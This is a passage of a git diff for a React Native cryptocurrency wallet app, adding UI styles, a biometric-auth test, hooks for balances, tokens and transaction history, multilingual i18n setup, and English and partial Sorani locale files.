borderColor: KurdistanColors.kesk,
|
||||||
|
backgroundColor: 'rgba(0, 143, 67, 0.05)',
|
||||||
|
},
|
||||||
|
walletOptionIcon: {
|
||||||
|
width: 48,
|
||||||
|
height: 48,
|
||||||
|
borderRadius: 24,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
walletOptionName: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: KurdistanColors.reş,
|
||||||
|
},
|
||||||
|
walletOptionAddress: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#999',
|
||||||
|
marginTop: 2,
|
||||||
|
},
|
||||||
|
addNewWalletOption: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 16,
|
||||||
|
backgroundColor: 'rgba(0, 143, 67, 0.05)',
|
||||||
|
borderRadius: 12,
|
||||||
|
marginBottom: 16,
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: KurdistanColors.kesk,
|
||||||
|
borderStyle: 'dashed',
|
||||||
|
},
|
||||||
|
addNewWalletIcon: {
|
||||||
|
width: 48,
|
||||||
|
height: 48,
|
||||||
|
borderRadius: 24,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
addNewWalletText: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: KurdistanColors.kesk,
|
||||||
|
},
|
||||||
|
renameWalletButton: {
|
||||||
|
width: 44,
|
||||||
|
height: 44,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: 'rgba(59, 130, 246, 0.1)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
renameWalletIcon: {
|
||||||
|
fontSize: 18,
|
||||||
|
},
|
||||||
|
deleteWalletButton: {
|
||||||
|
width: 44,
|
||||||
|
height: 44,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: 'rgba(239, 68, 68, 0.1)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
deleteWalletIcon: {
|
||||||
|
fontSize: 18,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default WalletSelector;
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { renderHook, act } from '@testing-library/react-native';
|
||||||
|
import { BiometricAuthProvider, useBiometricAuth } from '../BiometricAuthContext';
|
||||||
|
|
||||||
|
// Mock expo modules
|
||||||
|
jest.mock('expo-local-authentication', () => ({
|
||||||
|
hasHardwareAsync: jest.fn().mockResolvedValue(true),
|
||||||
|
isEnrolledAsync: jest.fn().mockResolvedValue(true),
|
||||||
|
supportedAuthenticationTypesAsync: jest.fn().mockResolvedValue([1]), // FINGERPRINT
|
||||||
|
authenticateAsync: jest.fn().mockResolvedValue({ success: true }),
|
||||||
|
AuthenticationType: { FINGERPRINT: 1, FACIAL_RECOGNITION: 2, IRIS: 3 },
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('expo-secure-store', () => ({
|
||||||
|
getItemAsync: jest.fn().mockResolvedValue(null),
|
||||||
|
setItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||||
|
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('expo-crypto', () => ({
|
||||||
|
digestStringAsync: jest.fn().mockImplementation((_alg: string, data: string) =>
|
||||||
|
Promise.resolve('sha256_' + data.length)
|
||||||
|
),
|
||||||
|
getRandomBytes: jest.fn().mockReturnValue(new Uint8Array(32).fill(42)),
|
||||||
|
CryptoDigestAlgorithm: { SHA256: 'SHA-256' },
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@react-native-async-storage/async-storage', () => ({
|
||||||
|
getItem: jest.fn().mockResolvedValue(null),
|
||||||
|
setItem: jest.fn().mockResolvedValue(undefined),
|
||||||
|
removeItem: jest.fn().mockResolvedValue(undefined),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const wrapper: React.FC<{ children: React.ReactNode }> = ({ children }) => (
|
||||||
|
<BiometricAuthProvider>{children}</BiometricAuthProvider>
|
||||||
|
);
|
||||||
|
|
||||||
|
describe('BiometricAuthContext', () => {
|
||||||
|
it('initializes with biometric support detected', async () => {
|
||||||
|
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
|
||||||
|
|
||||||
|
// Wait for async init
|
||||||
|
await act(async () => {
|
||||||
|
await new Promise(r => setTimeout(r, 100));
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result.current.isBiometricSupported).toBe(true);
|
||||||
|
expect(result.current.isBiometricEnrolled).toBe(true);
|
||||||
|
expect(result.current.biometricType).toBe('fingerprint');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('authenticate returns true on success', async () => {
|
||||||
|
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
await new Promise(r => setTimeout(r, 100));
|
||||||
|
});
|
||||||
|
|
||||||
|
let authResult: boolean = false;
|
||||||
|
await act(async () => {
|
||||||
|
authResult = await result.current.authenticate();
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(authResult).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('setPinCode does not throw', async () => {
|
||||||
|
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
await new Promise(r => setTimeout(r, 100));
|
||||||
|
});
|
||||||
|
|
||||||
|
// setPinCode should complete without error
|
||||||
|
await act(async () => {
|
||||||
|
await expect(result.current.setPinCode('1234')).resolves.not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('unlock sets isLocked to false', async () => {
|
||||||
|
const { result } = renderHook(() => useBiometricAuth(), { wrapper });
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
await new Promise(r => setTimeout(r, 100));
|
||||||
|
});
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
result.current.unlock();
|
||||||
|
});
|
||||||
|
expect(result.current.isLocked).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
import { useState, useEffect } from 'react';
|
||||||
|
import NetInfo, { NetInfoState } from '@react-native-community/netinfo';
|
||||||
|
|
||||||
|
export function useNetworkStatus() {
|
||||||
|
const [isConnected, setIsConnected] = useState(true);
|
||||||
|
const [connectionType, setConnectionType] = useState<string>('unknown');
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const unsubscribe = NetInfo.addEventListener((state: NetInfoState) => {
|
||||||
|
setIsConnected(state.isConnected ?? true);
|
||||||
|
setConnectionType(state.type);
|
||||||
|
});
|
||||||
|
|
||||||
|
return () => unsubscribe();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
return { isConnected, connectionType };
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
import { useState, useEffect } from 'react';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||||
|
import { fetchAllTokens, TokenInfo, KNOWN_TOKENS, TOKEN_LOGOS } from '../services/TokenService';
|
||||||
|
import { logger } from '../utils/logger';
|
||||||
|
|
||||||
|
|
||||||
|
const HIDDEN_TOKENS_KEY = '@pezkuwi_hidden_tokens';
|
||||||
|
|
||||||
|
export function useTokenList() {
|
||||||
|
const { api, isApiReady, selectedAccount } = usePezkuwi();
|
||||||
|
|
||||||
|
// Initialize with known tokens so list is never empty
|
||||||
|
const [allTokens, setAllTokens] = useState<TokenInfo[]>(() =>
|
||||||
|
KNOWN_TOKENS.map(kt => ({
|
||||||
|
assetId: kt.assetId,
|
||||||
|
symbol: kt.symbol,
|
||||||
|
name: kt.name,
|
||||||
|
decimals: kt.decimals,
|
||||||
|
balance: '0.00',
|
||||||
|
balanceRaw: 0n,
|
||||||
|
usdValue: '$0.00',
|
||||||
|
priceUsd: 0,
|
||||||
|
change24h: 0,
|
||||||
|
logo: TOKEN_LOGOS[kt.symbol] || null,
|
||||||
|
isNative: kt.isNative,
|
||||||
|
isFrozen: false,
|
||||||
|
}))
|
||||||
|
);
|
||||||
|
const [isLoadingTokens, setIsLoadingTokens] = useState(false);
|
||||||
|
const [hiddenTokens, setHiddenTokens] = useState<string[]>([]);
|
||||||
|
|
||||||
|
// Load hidden tokens from AsyncStorage
|
||||||
|
useEffect(() => {
|
||||||
|
const loadHiddenTokens = async () => {
|
||||||
|
try {
|
||||||
|
const stored = await AsyncStorage.getItem(HIDDEN_TOKENS_KEY);
|
||||||
|
if (stored) {
|
||||||
|
setHiddenTokens(JSON.parse(stored));
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
logger.warn('[Wallet] Failed to load hidden tokens:', e);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
loadHiddenTokens();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Save hidden tokens when they change
|
||||||
|
useEffect(() => {
|
||||||
|
const saveHiddenTokens = async () => {
|
||||||
|
try {
|
||||||
|
await AsyncStorage.setItem(HIDDEN_TOKENS_KEY, JSON.stringify(hiddenTokens));
|
||||||
|
} catch (e) {
|
||||||
|
logger.warn('[Wallet] Failed to save hidden tokens:', e);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
// Only save if array has been modified (skip initial empty)
|
||||||
|
if (hiddenTokens.length > 0) {
|
||||||
|
saveHiddenTokens();
|
||||||
|
}
|
||||||
|
}, [hiddenTokens]);
|
||||||
|
|
||||||
|
// Fetch all tokens from blockchain (Nova Wallet style)
|
||||||
|
useEffect(() => {
|
||||||
|
if (!api || !isApiReady || !selectedAccount) return;
|
||||||
|
|
||||||
|
const loadAllTokens = async () => {
|
||||||
|
setIsLoadingTokens(true);
|
||||||
|
try {
|
||||||
|
const tokens = await fetchAllTokens(api, selectedAccount.address);
|
||||||
|
setAllTokens(tokens);
|
||||||
|
logger.warn('[Wallet] Loaded', tokens.length, 'tokens from blockchain');
|
||||||
|
} catch (error) {
|
||||||
|
logger.error('[Wallet] Failed to load tokens:', error);
|
||||||
|
} finally {
|
||||||
|
setIsLoadingTokens(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
loadAllTokens();
|
||||||
|
|
||||||
|
// Refresh every 30 seconds for price updates
|
||||||
|
const interval = setInterval(loadAllTokens, 30000);
|
||||||
|
|
||||||
|
return () => clearInterval(interval);
|
||||||
|
}, [api, isApiReady, selectedAccount]);
|
||||||
|
|
||||||
|
const toggleTokenVisibility = (symbol: string) => {
|
||||||
|
setHiddenTokens(prev => {
|
||||||
|
if (prev.includes(symbol)) {
|
||||||
|
return prev.filter(s => s !== symbol);
|
||||||
|
} else {
|
||||||
|
return [...prev, symbol];
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
return {
|
||||||
|
allTokens,
|
||||||
|
isLoadingTokens,
|
||||||
|
hiddenTokens,
|
||||||
|
toggleTokenVisibility,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
import { useState, useEffect, useCallback } from 'react';
|
||||||
|
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||||
|
import {
|
||||||
|
TransactionRecord,
|
||||||
|
HistoryFilter,
|
||||||
|
fetchTransactionHistory,
|
||||||
|
} from '../services/TransactionHistoryService';
|
||||||
|
import { logger } from '../utils/logger';
|
||||||
|
|
||||||
|
|
||||||
|
export function useTransactionHistory() {
|
||||||
|
const { api, isApiReady, selectedAccount, currentNetwork } = usePezkuwi();
|
||||||
|
|
||||||
|
const [transactions, setTransactions] = useState<TransactionRecord[]>([]);
|
||||||
|
const [isLoadingHistory, setIsLoadingHistory] = useState(false);
|
||||||
|
const [historyFilter, setHistoryFilter] = useState<HistoryFilter>('all');
|
||||||
|
const [historyScanProgress, setHistoryScanProgress] = useState<string>('');
|
||||||
|
|
||||||
|
const refreshHistory = useCallback(async () => {
|
||||||
|
if (!api || !isApiReady || !selectedAccount) return;
|
||||||
|
|
||||||
|
setIsLoadingHistory(true);
|
||||||
|
setHistoryScanProgress('Loading history...');
|
||||||
|
try {
|
||||||
|
const txs = await fetchTransactionHistory(api, selectedAccount.address, currentNetwork, {
|
||||||
|
blocksToScan: 50,
|
||||||
|
onProgress: (scanned, total) => {
|
||||||
|
setHistoryScanProgress(`Scanning blocks... ${Math.round((scanned / total) * 100)}%`);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
setTransactions(txs);
|
||||||
|
} catch (error) {
|
||||||
|
logger.error('[Wallet] Failed to load history:', error);
|
||||||
|
} finally {
|
||||||
|
setHistoryScanProgress('');
|
||||||
|
setIsLoadingHistory(false);
|
||||||
|
}
|
||||||
|
}, [api, isApiReady, selectedAccount, currentNetwork]);
|
||||||
|
|
||||||
|
// Fetch history when account/network changes
|
||||||
|
useEffect(() => {
|
||||||
|
refreshHistory();
|
||||||
|
}, [refreshHistory]);
|
||||||
|
|
||||||
|
return {
|
||||||
|
transactions,
|
||||||
|
isLoadingHistory,
|
||||||
|
historyFilter,
|
||||||
|
setHistoryFilter,
|
||||||
|
historyScanProgress,
|
||||||
|
refreshHistory,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1,128 @@
|
|||||||
|
import { useState, useEffect, useCallback } from 'react';
|
||||||
|
import { decodeAddress } from '@pezkuwi/util-crypto';
|
||||||
|
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||||
|
import { logger } from '../utils/logger';
|
||||||
|
|
||||||
|
|
||||||
|
export interface WalletBalances {
|
||||||
|
[key: string]: string;
|
||||||
|
HEZ: string;
|
||||||
|
PEZ: string;
|
||||||
|
USDT: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useWalletBalances() {
|
||||||
|
const { api, isApiReady, selectedAccount } = usePezkuwi();
|
||||||
|
|
||||||
|
const [balances, setBalances] = useState<WalletBalances>({
|
||||||
|
HEZ: '0.00',
|
||||||
|
PEZ: '0.00',
|
||||||
|
USDT: '0.00',
|
||||||
|
});
|
||||||
|
const [isLoadingBalances, setIsLoadingBalances] = useState(false);
|
||||||
|
|
||||||
|
const fetchBalances = useCallback(async () => {
|
||||||
|
if (!api || !isApiReady || !selectedAccount) return;
|
||||||
|
|
||||||
|
setIsLoadingBalances(true);
|
||||||
|
try {
|
||||||
|
// Decode address to raw bytes to avoid SS58 encoding issues
|
||||||
|
let accountId: Uint8Array | string;
|
||||||
|
try {
|
||||||
|
accountId = decodeAddress(selectedAccount.address);
|
||||||
|
} catch (_e) {
|
||||||
|
logger.warn('[Wallet] Failed to decode address, using raw:', _e);
|
||||||
|
accountId = selectedAccount.address;
|
||||||
|
}
|
||||||
|
|
||||||
|
const accountInfo = await api.query.system.account(accountId);
|
||||||
|
const accountData = accountInfo.toJSON() as { data?: { free?: string | number } } | null;
|
||||||
|
const freeBalance = accountData?.data?.free ?? 0;
|
||||||
|
const hezBalance = (Number(freeBalance) / 1e12).toFixed(2);
|
||||||
|
|
||||||
|
let pezBalance = '0.00';
|
||||||
|
try {
|
||||||
|
if (api.query.assets?.account) {
|
||||||
|
const pezAsset = await api.query.assets.account(1, accountId);
|
||||||
|
const pezData = pezAsset.toJSON() as { balance?: string | number } | null;
|
||||||
|
if (pezData?.balance) pezBalance = (Number(pezData.balance) / 1e12).toFixed(2);
|
||||||
|
}
|
||||||
|
} catch (_e) {
|
||||||
|
logger.warn('[Wallet] PEZ balance fetch failed:', _e);
|
||||||
|
}
|
||||||
|
|
||||||
|
let usdtBalance = '0.00';
|
||||||
|
try {
|
||||||
|
if (api.query.assets?.account) {
|
||||||
|
// Check ID 1000 first (as per constants), fallback to 2 just in case
|
||||||
|
let usdtAsset = await api.query.assets.account(1000, accountId);
|
||||||
|
let usdtData = usdtAsset.toJSON() as { balance?: string | number } | null;
|
||||||
|
if (!usdtData?.balance) {
|
||||||
|
usdtAsset = await api.query.assets.account(2, accountId);
|
||||||
|
usdtData = usdtAsset.toJSON() as { balance?: string | number } | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (usdtData?.balance) {
|
||||||
|
// USDT uses 6 decimals usually
|
||||||
|
usdtBalance = (Number(usdtData.balance) / 1e6).toFixed(2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (_e) {
|
||||||
|
logger.warn('[Wallet] USDT balance fetch failed:', _e);
|
||||||
|
}
|
||||||
|
|
||||||
|
setBalances({ HEZ: hezBalance, PEZ: pezBalance, USDT: usdtBalance });
|
||||||
|
} catch (error) {
|
||||||
|
logger.error('Fetch balances error:', error);
|
||||||
|
} finally {
|
||||||
|
setIsLoadingBalances(false);
|
||||||
|
}
|
||||||
|
}, [api, isApiReady, selectedAccount]);
|
||||||
|
|
||||||
|
// Real-time balance subscription
|
||||||
|
useEffect(() => {
|
||||||
|
if (!api || !isApiReady || !selectedAccount) return;
|
||||||
|
|
||||||
|
let unsubscribe: (() => void) | null = null;
|
||||||
|
|
||||||
|
const subscribeToBalance = async () => {
|
||||||
|
try {
|
||||||
|
let accountId: Uint8Array;
|
||||||
|
try {
|
||||||
|
accountId = decodeAddress(selectedAccount.address);
|
||||||
|
} catch {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Subscribe to balance changes
|
||||||
|
unsubscribe = await api.query.system.account(accountId, (accountInfo: { data: { free: { toString(): string } } }) => {
|
||||||
|
const hezBalance = (Number(accountInfo.data.free.toString()) / 1e12).toFixed(2);
|
||||||
|
setBalances(prev => ({ ...prev, HEZ: hezBalance }));
|
||||||
|
logger.warn('[Wallet] Balance updated via subscription:', hezBalance, 'HEZ');
|
||||||
|
}) as unknown as () => void;
|
||||||
|
} catch (e) {
|
||||||
|
logger.warn('[Wallet] Subscription failed, falling back to polling:', e);
|
||||||
|
// Fallback to polling if subscription fails
|
||||||
|
fetchBalances();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
subscribeToBalance();
|
||||||
|
|
||||||
|
// Initial fetch for other tokens (PEZ, USDT)
|
||||||
|
fetchBalances();
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
if (unsubscribe) {
|
||||||
|
unsubscribe();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
|
}, [api, isApiReady, selectedAccount]);
|
||||||
|
|
||||||
|
return {
|
||||||
|
balances,
|
||||||
|
isLoadingBalances,
|
||||||
|
refreshBalances: fetchBalances,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
import i18n from 'i18next';
|
||||||
|
import { initReactI18next } from 'react-i18next';
|
||||||
|
import { I18nManager } from 'react-native';
|
||||||
|
import { getLocales } from 'expo-localization';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
|
||||||
|
import en from './locales/en.json';
|
||||||
|
import ku from './locales/ku.json';
|
||||||
|
import ckb from './locales/ckb.json';
|
||||||
|
import tr from './locales/tr.json';
|
||||||
|
import ar from './locales/ar.json';
|
||||||
|
import fa from './locales/fa.json';
|
||||||
|
|
||||||
|
export const LANGUAGES = [
|
||||||
|
{ code: 'ku', label: 'Kurmancî', rtl: false },
|
||||||
|
{ code: 'ckb', label: 'سۆرانی', rtl: true },
|
||||||
|
{ code: 'en', label: 'English', rtl: false },
|
||||||
|
{ code: 'tr', label: 'Türkçe', rtl: false },
|
||||||
|
{ code: 'ar', label: 'العربية', rtl: true },
|
||||||
|
{ code: 'fa', label: 'فارسی', rtl: true },
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export type LanguageCode = (typeof LANGUAGES)[number]['code'];
|
||||||
|
|
||||||
|
const SUPPORTED_CODES = LANGUAGES.map(l => l.code) as readonly string[];
|
||||||
|
const RTL_LANGUAGES = LANGUAGES.filter(l => l.rtl).map(l => l.code) as readonly string[];
|
||||||
|
const LANGUAGE_KEY = '@pezkuwi_language';
|
||||||
|
|
||||||
|
function getDeviceLanguage(): string {
|
||||||
|
try {
|
||||||
|
const locales = getLocales();
|
||||||
|
if (locales.length > 0) {
|
||||||
|
const lang = (locales[0].languageCode || 'en').toLowerCase();
|
||||||
|
if (SUPPORTED_CODES.includes(lang)) return lang;
|
||||||
|
const tag = locales[0].languageTag.toLowerCase();
|
||||||
|
if (tag.includes('ckb') || tag.includes('sorani')) return 'ckb';
|
||||||
|
if (lang === 'ku' || tag.includes('kurmanj')) return 'ku';
|
||||||
|
}
|
||||||
|
} catch { /* fallback */ }
|
||||||
|
return 'ku'; // Default to Kurmancî for Kurdistan project
|
||||||
|
}
|
||||||
|
|
||||||
|
i18n.use(initReactI18next).init({
|
||||||
|
resources: {
|
||||||
|
ku: { translation: ku },
|
||||||
|
ckb: { translation: ckb },
|
||||||
|
en: { translation: en },
|
||||||
|
tr: { translation: tr },
|
||||||
|
ar: { translation: ar },
|
||||||
|
fa: { translation: fa },
|
||||||
|
},
|
||||||
|
lng: getDeviceLanguage(),
|
||||||
|
fallbackLng: 'en',
|
||||||
|
interpolation: { escapeValue: false },
|
||||||
|
react: { useSuspense: false },
|
||||||
|
});
|
||||||
|
|
||||||
|
// Load saved language preference
|
||||||
|
AsyncStorage.getItem(LANGUAGE_KEY).then(savedLang => {
|
||||||
|
if (savedLang && SUPPORTED_CODES.includes(savedLang)) {
|
||||||
|
i18n.changeLanguage(savedLang);
|
||||||
|
I18nManager.forceRTL(RTL_LANGUAGES.includes(savedLang));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
export async function changeLanguage(code: LanguageCode): Promise<void> {
|
||||||
|
await i18n.changeLanguage(code);
|
||||||
|
await AsyncStorage.setItem(LANGUAGE_KEY, code);
|
||||||
|
const isRTL = RTL_LANGUAGES.includes(code);
|
||||||
|
if (I18nManager.isRTL !== isRTL) {
|
||||||
|
I18nManager.forceRTL(isRTL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default i18n;
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Loading...",
|
||||||
|
"error": "Error",
|
||||||
|
"success": "Success",
|
||||||
|
"cancel": "Cancel",
|
||||||
|
"confirm": "Confirm",
|
||||||
|
"save": "Save",
|
||||||
|
"delete": "Delete",
|
||||||
|
"close": "Close",
|
||||||
|
"retry": "Retry",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"copy": "Copy",
|
||||||
|
"share": "Share",
|
||||||
|
"search": "Search",
|
||||||
|
"settings": "Settings",
|
||||||
|
"back": "Back",
|
||||||
|
"next": "Next",
|
||||||
|
"done": "Done",
|
||||||
|
"comingSoon": "Coming Soon",
|
||||||
|
"noData": "No data available"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "Wallet",
|
||||||
|
"balance": "Balance",
|
||||||
|
"send": "Send",
|
||||||
|
"receive": "Receive",
|
||||||
|
"swap": "Swap",
|
||||||
|
"backup": "Backup",
|
||||||
|
"tokens": "Tokens",
|
||||||
|
"activity": "Activity",
|
||||||
|
"noTransactions": "No transactions yet",
|
||||||
|
"scanAddress": "Scan Address",
|
||||||
|
"selectNetwork": "Select Network",
|
||||||
|
"myWallets": "My Wallets",
|
||||||
|
"addWallet": "Add New Wallet",
|
||||||
|
"createWallet": "Create Wallet",
|
||||||
|
"importWallet": "Import Wallet",
|
||||||
|
"deleteWallet": "Delete Wallet",
|
||||||
|
"renameWallet": "Rename Wallet",
|
||||||
|
"backupMnemonic": "Backup Recovery Phrase",
|
||||||
|
"backupWarning": "NEVER share this with anyone! Write it down and store safely.",
|
||||||
|
"recipientAddress": "Recipient Address",
|
||||||
|
"amount": "Amount",
|
||||||
|
"estimatedFee": "Estimated Fee",
|
||||||
|
"total": "Total (incl. fee)",
|
||||||
|
"insufficientBalance": "Insufficient balance",
|
||||||
|
"transactionFinalized": "Transaction finalized!",
|
||||||
|
"copied": "Address copied to clipboard"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "Staking",
|
||||||
|
"directStaking": "Direct Staking",
|
||||||
|
"nominationPools": "Nomination Pools",
|
||||||
|
"totalStaked": "Total Staked",
|
||||||
|
"monthlyReward": "Monthly Reward",
|
||||||
|
"estimatedAPY": "Est. APY",
|
||||||
|
"stake": "Stake",
|
||||||
|
"unstake": "Unstake",
|
||||||
|
"claimRewards": "Claim Rewards",
|
||||||
|
"selectValidators": "Select Validators",
|
||||||
|
"joinPool": "Join Pool",
|
||||||
|
"bondMore": "Bond More",
|
||||||
|
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
|
||||||
|
},
|
||||||
|
"governance": {
|
||||||
|
"title": "Governance",
|
||||||
|
"active": "Active",
|
||||||
|
"past": "Past",
|
||||||
|
"all": "All",
|
||||||
|
"noReferenda": "No referenda found",
|
||||||
|
"voteAye": "Aye",
|
||||||
|
"voteNay": "Nay",
|
||||||
|
"conviction": "Conviction (lock multiplier)",
|
||||||
|
"tapToVote": "Tap to vote",
|
||||||
|
"support": "Support"
|
||||||
|
},
|
||||||
|
"apps": {
|
||||||
|
"title": "Apps",
|
||||||
|
"searchApps": "Search apps...",
|
||||||
|
"connectWallet": "Connect Wallet",
|
||||||
|
"submitApp": "Submit Your App"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"signIn": "Sign In",
|
||||||
|
"signUp": "Sign Up",
|
||||||
|
"email": "Email",
|
||||||
|
"password": "Password",
|
||||||
|
"forgotPassword": "Forgot Password?",
|
||||||
|
"noAccount": "Don't have an account?",
|
||||||
|
"hasAccount": "Already have an account?"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Profile",
|
||||||
|
"editProfile": "Edit Profile",
|
||||||
|
"settings": "Settings",
|
||||||
|
"security": "Security",
|
||||||
|
"language": "Language",
|
||||||
|
"signOut": "Sign Out"
|
||||||
|
},
|
||||||
|
"dapp": {
|
||||||
|
"title": "DApp Browser",
|
||||||
|
"searchOrEnter": "Search or enter URL...",
|
||||||
|
"connected": "Connected",
|
||||||
|
"noWallet": "No wallet connected - dApps won't work",
|
||||||
|
"connectionRequest": "Connection Request",
|
||||||
|
"signRequest": "Sign Request",
|
||||||
|
"approve": "Connect",
|
||||||
|
"reject": "Reject"
|
||||||
|
},
|
||||||
|
"notifications": {
|
||||||
|
"transactionSent": "Transaction Sent",
|
||||||
|
"transactionReceived": "Transaction Received"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "بارکردن...",
|
||||||
|
"error": "ھەڵە",
|
||||||
|
"success": "سەرکەوتوو",
|
||||||
|
"cancel": "پاشگەزبوونەوە",
|
||||||
|
"confirm": "پشتڕاستکردنەوە",
|
||||||
|
"save": "پاشەکەوتکردن",
|
||||||
|
"delete": "سڕینەوە",
|
||||||
|
"close": "داخستن",
|
||||||
|
"retry": "دووبارە ھەوڵبدەوە",
|
||||||
|
"send": "ناردن",
|
||||||
|
"receive": "وەرگرتن",
|
||||||
|
"copy": "لەبەرگرتنەوە",
|
||||||
|
"share": "ھاوبەشکردن",
|
||||||
|
"search": "گەڕان",
|
||||||
|
"settings": "ڕێکخستنەکان",
|
||||||
|
"back": "گەڕانەوە",
|
||||||
|
"next": "دواتر",
|
||||||
|
"done": "تەواو",
|
||||||
|
"comingSoon": "بەم زووانە دێت",
|
||||||
|
"noData": "زانیاری بەردەست نییە"
|
||||||
|
},
|
||||||
|
"wallet": {
|
||||||
|
"title": "جزدان",
|
||||||
|
"balance": "باڵانس",
|
||||||
|
"send": "ناردن",
|
||||||
|
"receive": "وەرگرتن",
|
||||||
|
"swap": "ئاڵاندن",
|
||||||
|
"backup": "پاشگری",
|
||||||
|
"tokens": "تۆکن",
|
||||||
|
"activity": "چالاکی",
|
||||||
|
"noTransactions": "ھێشتا مامەڵەیەک نییە",
|
||||||
|
"scanAddress": "ناونیشان سکان بکە",
|
||||||
|
"selectNetwork": "تۆڕ ھەڵبژێرە",
|
||||||
|
"myWallets": "جزدانەکانم",
|
||||||
|
"addWallet": "جزدانی نوێ زیاد بکە",
|
||||||
|
"createWallet": "جزدان دروست بکە",
|
||||||
|
"importWallet": "جزدان ھاوردە بکە",
|
||||||
|
"deleteWallet": "جزدان بسڕەوە",
|
||||||
|
"renameWallet": "ناوی جزدان بگۆڕە",
|
||||||
|
"backupMnemonic": "وشەی گەڕانەوە پاشگری بکە",
|
||||||
|
"backupWarning": "ھەرگیز لەگەڵ کەسدا ھاوبەشی مەکە! بینووسەو بە ئاسایشەوە ھەڵیبگرە.",
|
||||||
|
"recipientAddress": "ناونیشانی وەرگر",
|
||||||
|
"amount": "بڕ",
|
||||||
|
"estimatedFee": "کرێی خەمڵێنراو",
|
||||||
|
"total": "کۆی گشتی (لەگەڵ کرێ)",
|
||||||
|
"insufficientBalance": "باڵانس بەس نییە",
|
||||||
|
"transactionFinalized": "مامەڵە تەواو بوو!",
|
||||||
|
"copied": "ناونیشان لەبەرگیرایەوە"
|
||||||
|
},
|
||||||
|
"staking": {
|
||||||
|
"title": "ستەیکینگ",
|
||||||
|
"directStaking": "ستەیکینگی ڕاستەوخۆ",
|
||||||
|
